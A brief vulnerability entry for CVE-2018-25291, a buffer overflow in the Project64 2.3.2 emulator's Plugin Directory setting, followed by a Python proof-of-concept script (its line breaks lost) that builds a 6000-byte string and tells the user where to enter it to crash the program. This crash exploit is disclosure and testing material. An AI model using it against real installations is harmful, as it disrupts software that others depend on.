CVE-2018-25291 Project64插件目录缓冲区溢出漏洞

import os # PoC for CVE-2018-25291: Project64 Buffer Overflow # This script generates a malicious string to crash Project64 2.3.2. def generate_payload(): # The vulnerability is triggered by a 6000-byte string # in the Plugin Directory setting. payload = "A" * 6000 return payload if __name__ == "__main__": print("Generating payload for CVE-2018-25291...") evil_input = generate_payload() # In a real scenario, this input would be placed in the # Project64 configuration file (e.g., Project64.cfg) # under the "Plugin Directory" key, or typed into the GUI. print(f"Payload length: {len(evil_input)}") print("Payload generated. Input this into the 'Plugin Directory' field in Options > Settings > Directories.")